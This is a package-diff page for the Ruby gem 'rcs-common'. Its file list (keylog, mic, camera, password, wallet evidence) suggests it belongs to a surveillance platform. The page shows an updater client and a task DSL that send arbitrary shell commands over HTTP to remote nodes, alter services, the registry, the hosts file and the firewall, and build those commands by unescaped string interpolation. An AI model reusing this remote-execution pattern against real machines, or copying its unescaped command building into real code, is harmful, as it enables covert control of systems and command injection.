rcs-common 9.6.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
@@ -0,0 +1,354 @@
|
|
1
|
+
require 'yajl/json_gem'
|
2
|
+
require 'net/http'
|
3
|
+
require 'uri'
|
4
|
+
require 'timeout'
|
5
|
+
require 'digest/md5'
|
6
|
+
require 'base64'
|
7
|
+
|
8
|
+
require_relative "../trace.rb"
|
9
|
+
require_relative "shared_key"
|
10
|
+
require_relative "tmp_dir"
|
11
|
+
require_relative "../winfirewall"
|
12
|
+
require_relative "payload"
|
13
|
+
|
14
|
+
module RCS
|
15
|
+
module Updater
|
16
|
+
class Client
|
17
|
+
include RCS::Tracer
|
18
|
+
include TmpDir
|
19
|
+
extend Resolver
|
20
|
+
|
21
|
+
attr_reader :address, :port
|
22
|
+
attr_accessor :max_retries, :retry_interval, :open_timeout
|
23
|
+
attr_accessor :pwd
|
24
|
+
|
25
|
+
def initialize(address, port: 6677)
|
26
|
+
@address = address
|
27
|
+
@port = port
|
28
|
+
@shared_key = SharedKey.new
|
29
|
+
|
30
|
+
self.max_retries = 3
|
31
|
+
self.retry_interval = 4 # sec
|
32
|
+
self.open_timeout = 10 # sec
|
33
|
+
end
|
34
|
+
|
35
|
+
def request(payload, options = {}, retry_count = self.max_retries)
|
36
|
+
msg = options[:store] ? [] : [payload]
|
37
|
+
msg = ["#{payload.size} B", options.inspect]
|
38
|
+
trace(:debug, "REQ #{msg.join(' | ')}")
|
39
|
+
|
40
|
+
http = Net::HTTP.new(address, port)
|
41
|
+
http.open_timeout = self.open_timeout
|
42
|
+
|
43
|
+
# Encrypt x-options hash with a shared key
|
44
|
+
# Add a timestamp to prevent a reply attack, and the md5 of the payload to prevent payload modification
|
45
|
+
options.merge!(tm: Time.now.to_f, md5: Digest::MD5.hexdigest(payload))
|
46
|
+
|
47
|
+
req = Net::HTTP::Post.new('/', initheader = {'Content-Type' =>'application/json'})
|
48
|
+
req['x-options'] = @shared_key.encrypt_hash(options)
|
49
|
+
raise("x-options header is too long") if req['x-options'].size > 4_096
|
50
|
+
req.body = payload
|
51
|
+
res = http.request(req)
|
52
|
+
|
53
|
+
status_code = res.code.to_i
|
54
|
+
|
55
|
+
trace :debug, "REP #{res.code} | #{res.body}"
|
56
|
+
|
57
|
+
raise("Internal server error") if res.code.to_i != 200
|
58
|
+
|
59
|
+
hash = JSON.parse(res.body)
|
60
|
+
hash.keys.each { |key| hash[key.to_sym] = hash.delete(key) }
|
61
|
+
|
62
|
+
return hash
|
63
|
+
rescue Exception => ex
|
64
|
+
trace(:error, "[#{ex.class}] #{ex.message}")
|
65
|
+
|
66
|
+
if retry_count > 0
|
67
|
+
trace(:warn, "Retrying in #{retry_interval} seconds, #{retry_count} attempt(s) left")
|
68
|
+
sleep(self.retry_interval)
|
69
|
+
return request(payload, options, retry_count-1)
|
70
|
+
else
|
71
|
+
raise(ex)
|
72
|
+
end
|
73
|
+
end
|
74
|
+
|
75
|
+
def local_command(cmd, options = {})
|
76
|
+
payload = Payload.new(cmd, options.merge('exec' => true))
|
77
|
+
payload.store if payload.storable?
|
78
|
+
payload.run if payload.runnable?
|
79
|
+
return payload
|
80
|
+
end
|
81
|
+
|
82
|
+
|
83
|
+
# Helpers
|
84
|
+
|
85
|
+
def self.resolve_to_localhost?(name)
|
86
|
+
return true if name == 'localhost'
|
87
|
+
addr = resolve_dns(name, use_cache: true) rescue nil
|
88
|
+
return addr == '127.0.0.1'
|
89
|
+
end
|
90
|
+
|
91
|
+
def localhost?
|
92
|
+
self.class.resolve_to_localhost?(@address)
|
93
|
+
end
|
94
|
+
|
95
|
+
def store_file(path, remote_path = nil)
|
96
|
+
path = unixpath(File.expand_path(path))
|
97
|
+
payload = File.open(path, 'rb') { |f| f.read }
|
98
|
+
return store(payload, filename: File.basename(path))
|
99
|
+
end
|
100
|
+
|
101
|
+
def store(payload, filename: nil)
|
102
|
+
raise("Missing filename") unless filename
|
103
|
+
|
104
|
+
if localhost?
|
105
|
+
path = unixpath("#{tmpdir}/#{filename}")
|
106
|
+
File.open(path, 'wb') { |f| f.write(payload) }
|
107
|
+
return path
|
108
|
+
else
|
109
|
+
return request(payload, filename: filename, store: 1)[:path]
|
110
|
+
end
|
111
|
+
end
|
112
|
+
|
113
|
+
def start(payload)
|
114
|
+
path = store(payload+"\nexit", filename: 'start.bat')
|
115
|
+
|
116
|
+
begin
|
117
|
+
if localhost?
|
118
|
+
resp = local_command("start #{path}", 'spawn' => 1)
|
119
|
+
else
|
120
|
+
resp = request("start #{path}", {spawn: 1}, retry_count = 0)
|
121
|
+
end
|
122
|
+
rescue Exception => ex
|
123
|
+
trace :error, "#start: #{ex.message}"
|
124
|
+
end
|
125
|
+
|
126
|
+
return nil
|
127
|
+
end
|
128
|
+
|
129
|
+
alias :detached :start
|
130
|
+
|
131
|
+
def restart_service(name)
|
132
|
+
stop_service(name)
|
133
|
+
start_service(name)
|
134
|
+
end
|
135
|
+
|
136
|
+
def start_service(name)
|
137
|
+
cmd = "NET START #{name}"
|
138
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
139
|
+
end
|
140
|
+
|
141
|
+
def stop_service(name)
|
142
|
+
cmd = "NET STOP #{name}"
|
143
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
144
|
+
end
|
145
|
+
|
146
|
+
def service_exists?(name)
|
147
|
+
!!execute("SC QUERY #{name}")
|
148
|
+
end
|
149
|
+
|
150
|
+
def registry_add(key_path, value_name, value_data)
|
151
|
+
value_type = if value_data.kind_of?(Fixnum)
|
152
|
+
:REG_DWORD
|
153
|
+
else
|
154
|
+
:REG_SZ
|
155
|
+
end
|
156
|
+
|
157
|
+
cmd = "reg add #{winpath(key_path)} /f /t #{value_type} /v #{value_name} /d #{value_data}"
|
158
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
159
|
+
end
|
160
|
+
|
161
|
+
def write_file(path, content)
|
162
|
+
if localhost?
|
163
|
+
File.open(unixpath(path), 'wb') { |file| file.write(content) }
|
164
|
+
else
|
165
|
+
# todo
|
166
|
+
end
|
167
|
+
end
|
168
|
+
|
169
|
+
def read_file(path)
|
170
|
+
# This has only the "localhost" version
|
171
|
+
File.read(unixpath(path))
|
172
|
+
end
|
173
|
+
|
174
|
+
def delete_service(service_name)
|
175
|
+
cmd = "sc delete #{service_name}"
|
176
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
177
|
+
end
|
178
|
+
|
179
|
+
def add_firewall_rule(rule_name, params = {})
|
180
|
+
if localhost?
|
181
|
+
WinFirewall.del_rule(rule_name)
|
182
|
+
WinFirewall.add_rule(params.merge(name: rule_name))
|
183
|
+
else
|
184
|
+
# todo
|
185
|
+
end
|
186
|
+
end
|
187
|
+
|
188
|
+
def service_config(service_name, param_name, param_value)
|
189
|
+
param_name = param_name.to_s
|
190
|
+
cmd = ""
|
191
|
+
|
192
|
+
if %w[type start error binPath group tag depend obj DisplayName password].include?(param_name)
|
193
|
+
cmd = "sc config #{service_name} #{param_name}= \"#{param_value}\""
|
194
|
+
elsif %[description].include?(param_name)
|
195
|
+
cmd = "sc description #{service_name} \"#{param_value}\""
|
196
|
+
else
|
197
|
+
raise "Invalid parameter #{param_name}"
|
198
|
+
end
|
199
|
+
|
200
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
201
|
+
end
|
202
|
+
|
203
|
+
def service_failure(service_name, reset = 0, action1 = "restart/60000", action2 = "restart/60000", action3 = "restart/60000")
|
204
|
+
cmd = "sc failure #{service_name} reset= #{reset.to_i} actions= "+[action1, action2, action3].compact.join("/")
|
205
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
206
|
+
end
|
207
|
+
|
208
|
+
def execute(cmd)
|
209
|
+
resp = localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
210
|
+
|
211
|
+
if resp[:return_code] != 0
|
212
|
+
return nil
|
213
|
+
else
|
214
|
+
return resp[:output]
|
215
|
+
end
|
216
|
+
end
|
217
|
+
|
218
|
+
def database_exists?(name, mongo: nil)
|
219
|
+
eval = "f=null; db.adminCommand({listDatabases: 1})['databases'].forEach(function(e){ if (e.name == '#{name}') { f = true } }); if (!f) { throw('not found') }"
|
220
|
+
cmd = "#{winpath(mongo)} 127.0.0.1 --eval \"#{eval}\""
|
221
|
+
return execute(cmd)
|
222
|
+
end
|
223
|
+
|
224
|
+
def rm_rf(path, allow: [], check: true)
|
225
|
+
if localhost?
|
226
|
+
FileUtils.rm_rf(unixpath(path))
|
227
|
+
else
|
228
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.rm_rf(\"#{unixpath(path)}\");'", exec: 1)
|
229
|
+
end
|
230
|
+
|
231
|
+
if check
|
232
|
+
ls(unixpath(path)+"/*").each do |p|
|
233
|
+
raise("rm_rf command failed on folder #{path}") unless allow.find { |regexp| p =~ /#{regexp}/i }
|
234
|
+
end
|
235
|
+
end
|
236
|
+
|
237
|
+
return true
|
238
|
+
end
|
239
|
+
|
240
|
+
def rm_f(path)
|
241
|
+
if localhost?
|
242
|
+
FileUtils.rm_f(unixpath(path))
|
243
|
+
else
|
244
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.rm_f(\"#{unixpath(path)}\");'", exec: 1)
|
245
|
+
end
|
246
|
+
|
247
|
+
if ls(path).any?
|
248
|
+
raise("rm_f command failed on file #{path}")
|
249
|
+
else
|
250
|
+
return true
|
251
|
+
end
|
252
|
+
end
|
253
|
+
|
254
|
+
def add_to_hosts_file(hash)
|
255
|
+
ip, name = *hash.to_a.first
|
256
|
+
line = "\r\n#{ip}\t#{name}\r\n"
|
257
|
+
path = "C:\\Windows\\System32\\Drivers\\etc\\hosts"
|
258
|
+
|
259
|
+
if localhost?
|
260
|
+
File.open(path, 'ab') { |file| file.write(line) } unless File.read(path).include?(line.strip)
|
261
|
+
else
|
262
|
+
# TODO
|
263
|
+
end
|
264
|
+
end
|
265
|
+
|
266
|
+
def extract_sfx(sfx_path, destination_path)
|
267
|
+
mkdir_p(destination_path)
|
268
|
+
|
269
|
+
if localhost?
|
270
|
+
local_command("\"#{winpath(sfx_path)}\" -y -o\"#{winpath(destination_path)}\"")
|
271
|
+
else
|
272
|
+
remote_path = store_file(sfx_path)
|
273
|
+
request("\"#{winpath(remote_path)}\" -y -o\"#{winpath(destination_path)}\"", exec: 1)
|
274
|
+
rm_f(remote_path)
|
275
|
+
end
|
276
|
+
end
|
277
|
+
|
278
|
+
# TODO: ensure no duplication
|
279
|
+
def add_to_path(*paths)
|
280
|
+
list = [paths].flatten.map{ |p| winpath(p) }.join(";")
|
281
|
+
|
282
|
+
if localhost?
|
283
|
+
ENV['PATH'] += ";#{list}" unless ENV['path'].include?(list)
|
284
|
+
return local_command("setx path \"%path%;#{list}\" /M && set PATH=\"%PATH%;#{list}\"")
|
285
|
+
else
|
286
|
+
return request("setx path \"%path%;#{list}\"", exec: 1)
|
287
|
+
end
|
288
|
+
end
|
289
|
+
|
290
|
+
def mkdir_p(path)
|
291
|
+
if localhost?
|
292
|
+
FileUtils.mkdir_p(winpath(path))
|
293
|
+
else
|
294
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.mkdir_p(\"#{unixpath(path)}\");", exec: 1)
|
295
|
+
end
|
296
|
+
end
|
297
|
+
|
298
|
+
def cp(from, to)
|
299
|
+
if localhost?
|
300
|
+
FileUtils.cp(unixpath(from), unixpath(to))
|
301
|
+
else
|
302
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.cp(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
303
|
+
end
|
304
|
+
end
|
305
|
+
|
306
|
+
def cp_r(from, to)
|
307
|
+
if localhost?
|
308
|
+
FileUtils.cp_r(unixpath(from), unixpath(to))
|
309
|
+
else
|
310
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.cp_r(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
311
|
+
end
|
312
|
+
end
|
313
|
+
|
314
|
+
def mv(from, to)
|
315
|
+
if localhost?
|
316
|
+
FileUtils.mv(unixpath(from), unixpath(to))
|
317
|
+
else
|
318
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.mv(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
319
|
+
end
|
320
|
+
end
|
321
|
+
|
322
|
+
def ls(glob)
|
323
|
+
if localhost?
|
324
|
+
return Dir[unixpath(glob)]
|
325
|
+
else
|
326
|
+
resp = request('ruby -e \'require "base64"; require "json"; puts Base64.urlsafe_encode64(Dir["'+unixpath(glob)+'"].to_json)\'', exec: 1)
|
327
|
+
return JSON.parse(Base64.urlsafe_decode64(resp[:output].strip))
|
328
|
+
end
|
329
|
+
end
|
330
|
+
|
331
|
+
def file_exists?(path)
|
332
|
+
ls(path).any?
|
333
|
+
end
|
334
|
+
|
335
|
+
def winpath(path)
|
336
|
+
path = "#{self.pwd}\\#{path}" if self.pwd and path !~ /\A[a-z]\:/i
|
337
|
+
path.gsub("/", "\\")
|
338
|
+
end
|
339
|
+
|
340
|
+
def unixpath(path)
|
341
|
+
path = "#{self.pwd}/#{path}" if self.pwd and path !~ /\A[a-z]\:/i
|
342
|
+
path.gsub("\\", "/")
|
343
|
+
end
|
344
|
+
|
345
|
+
def connected?
|
346
|
+
if localhost?
|
347
|
+
return true
|
348
|
+
else
|
349
|
+
return !!(request("", {}, retry_count = 0) rescue false)
|
350
|
+
end
|
351
|
+
end
|
352
|
+
end
|
353
|
+
end
|
354
|
+
end
|
@@ -0,0 +1,178 @@
|
|
1
|
+
require_relative 'client'
|
2
|
+
require 'ostruct'
|
3
|
+
|
4
|
+
class SafeOpenStruct < OpenStruct
|
5
|
+
def method_missing(meth, *args)
|
6
|
+
n = meth.to_s
|
7
|
+
|
8
|
+
if n.end_with?("?")
|
9
|
+
n = n[0..-2]
|
10
|
+
return @table[n] || @table[n.to_sym]
|
11
|
+
elsif !n.end_with?("=")
|
12
|
+
raise(NoMethodError, "no `#{meth}' member set yet")
|
13
|
+
end
|
14
|
+
|
15
|
+
super
|
16
|
+
end
|
17
|
+
end
|
18
|
+
|
19
|
+
module RCS
|
20
|
+
module Updater
|
21
|
+
module DSL
|
22
|
+
@@settings = SafeOpenStruct.new
|
23
|
+
@@tasks = {}
|
24
|
+
@@descriptions = {}
|
25
|
+
@@last_description = nil
|
26
|
+
|
27
|
+
def set(name, value)
|
28
|
+
@@settings[name] = value
|
29
|
+
end
|
30
|
+
|
31
|
+
# Access to settings defined using [ set ]
|
32
|
+
def settings
|
33
|
+
@@settings
|
34
|
+
end
|
35
|
+
|
36
|
+
def address?
|
37
|
+
self.respond_to?(:address)
|
38
|
+
end
|
39
|
+
|
40
|
+
def desc(string)
|
41
|
+
raise("You cannot call `desc' in this context") if address?
|
42
|
+
@@last_description = string
|
43
|
+
end
|
44
|
+
|
45
|
+
# Define a task or alias an existing task
|
46
|
+
#
|
47
|
+
# @example
|
48
|
+
# task :task1 do
|
49
|
+
# rm_rf("/tmp/my_file")
|
50
|
+
# start_service("RCSDB")
|
51
|
+
# end
|
52
|
+
# # Aliasing task1
|
53
|
+
# task :task3 => :task1
|
54
|
+
def task(name, &block)
|
55
|
+
if name.kind_of?(Hash)
|
56
|
+
name.each do |alias_name, task_name|
|
57
|
+
raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
|
58
|
+
@@tasks[alias_name.to_s] = @@tasks[task_name.to_s]
|
59
|
+
@@descriptions[alias_name.to_s] = @@last_description
|
60
|
+
end
|
61
|
+
else
|
62
|
+
raise("Task `#{name}' is defined more than once") if @@tasks[name.to_s]
|
63
|
+
@@tasks[name.to_s] = block
|
64
|
+
@@descriptions[name.to_s] = @@last_description
|
65
|
+
end
|
66
|
+
|
67
|
+
@@last_description = nil
|
68
|
+
end
|
69
|
+
|
70
|
+
# @example
|
71
|
+
# invoke :task1 => 'localhost'
|
72
|
+
#
|
73
|
+
# task :task2 do
|
74
|
+
# invoke(:task3)
|
75
|
+
# rm_rf("/tmp/my_file")
|
76
|
+
# end
|
77
|
+
def invoke(args)
|
78
|
+
if address? and ([String, Symbol].include?(args.class))
|
79
|
+
task_name, address = args, self.address
|
80
|
+
elsif !address? and args.kind_of?(Hash)
|
81
|
+
task_name, address = *args.to_a.flatten
|
82
|
+
return on(address) { invoke(task_name) }
|
83
|
+
else
|
84
|
+
raise("Invalid use of `invoke'")
|
85
|
+
end
|
86
|
+
|
87
|
+
raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
|
88
|
+
|
89
|
+
trace(:debug, "invoke #{task_name} on #{address}") if respond_to?(:trace)
|
90
|
+
|
91
|
+
echo(@@descriptions[task_name]) if @@descriptions[task_name]
|
92
|
+
|
93
|
+
client = Client.new(address)
|
94
|
+
client.singleton_class.__send__(:include, DSL)
|
95
|
+
client.instance_variable_set('@_parent_task', self) if address?
|
96
|
+
return client.instance_eval(&@@tasks[task_name.to_s])
|
97
|
+
end
|
98
|
+
|
99
|
+
# Define an anonymous task
|
100
|
+
#
|
101
|
+
# @example
|
102
|
+
# on('172.20.20.152') do
|
103
|
+
# invoke(:task1)
|
104
|
+
# rm_rf("/tmp/my_file")
|
105
|
+
# end
|
106
|
+
def on(address, &block)
|
107
|
+
raise("You cannot call `on' in this context") if address?
|
108
|
+
client = Client.new(address)
|
109
|
+
client.singleton_class.__send__(:include, DSL)
|
110
|
+
return client.instance_eval(&block)
|
111
|
+
end
|
112
|
+
|
113
|
+
def echo_indent
|
114
|
+
obj = self
|
115
|
+
str = ""
|
116
|
+
str << "--" until !(obj = obj.instance_variable_get('@_parent_task'))
|
117
|
+
str << "> " unless str.empty?
|
118
|
+
return str
|
119
|
+
end
|
120
|
+
|
121
|
+
def echo_error(message)
|
122
|
+
$stderr.puts("[erro]#{message}")
|
123
|
+
$stderr.flush
|
124
|
+
raise(message)
|
125
|
+
end
|
126
|
+
|
127
|
+
def echo(message)
|
128
|
+
message = "[echo]#{echo_indent}#{message}"
|
129
|
+
message << " (#{self.address})" if self.respond_to?(:address) and echo_indent.empty? and !resolve_to_localhost?(self.address)
|
130
|
+
$stdout.puts(message)
|
131
|
+
$stdout.flush
|
132
|
+
end
|
133
|
+
|
134
|
+
def echo_install_failed(node_type, message = nil, addr = nil)
|
135
|
+
trace(:error, "Install of #{node_type} @ #{addr || address} failed: #{message}") if respond_to?(:trace)
|
136
|
+
|
137
|
+
$stdout.puts("[infa]#{node_type.to_s.capitalize} node on #{addr || address}")
|
138
|
+
$stdout.flush
|
139
|
+
end
|
140
|
+
|
141
|
+
def echo_install_success(node_type, addr = nil)
|
142
|
+
$stdout.puts("[insu]#{node_type.to_s.capitalize} node on #{addr || address}")
|
143
|
+
$stdout.flush
|
144
|
+
end
|
145
|
+
|
146
|
+
def resolve_to_localhost?(name)
|
147
|
+
Client.resolve_to_localhost?(name)
|
148
|
+
end
|
149
|
+
|
150
|
+
# Access to parameters passed via command line.
|
151
|
+
#
|
152
|
+
# @example Script is called with --first-param "test" --param2
|
153
|
+
# params.first_param #=> "test"
|
154
|
+
# params.param2 #=> true
|
155
|
+
# params.param3 #=> An exception is raised!
|
156
|
+
# params.param3? #=> nil
|
157
|
+
def params
|
158
|
+
return @@params if defined?(@@params)
|
159
|
+
@@params = SafeOpenStruct.new
|
160
|
+
i = 0
|
161
|
+
|
162
|
+
loop do
|
163
|
+
s1, s2 = ARGV[i], ARGV[i+1]
|
164
|
+
break unless s1
|
165
|
+
if s1[0] == '-'
|
166
|
+
s2 = (s2 and s2[0] != '-') ? s2 : true
|
167
|
+
@@params[s1.gsub(/^\-{1,2}/, '').gsub('-', '_')] = s2 unless s2.to_s.strip.empty?
|
168
|
+
end
|
169
|
+
i += 1
|
170
|
+
end
|
171
|
+
|
172
|
+
@@params
|
173
|
+
end
|
174
|
+
end
|
175
|
+
end
|
176
|
+
end
|
177
|
+
|
178
|
+
self.extend(RCS::Updater::DSL)
|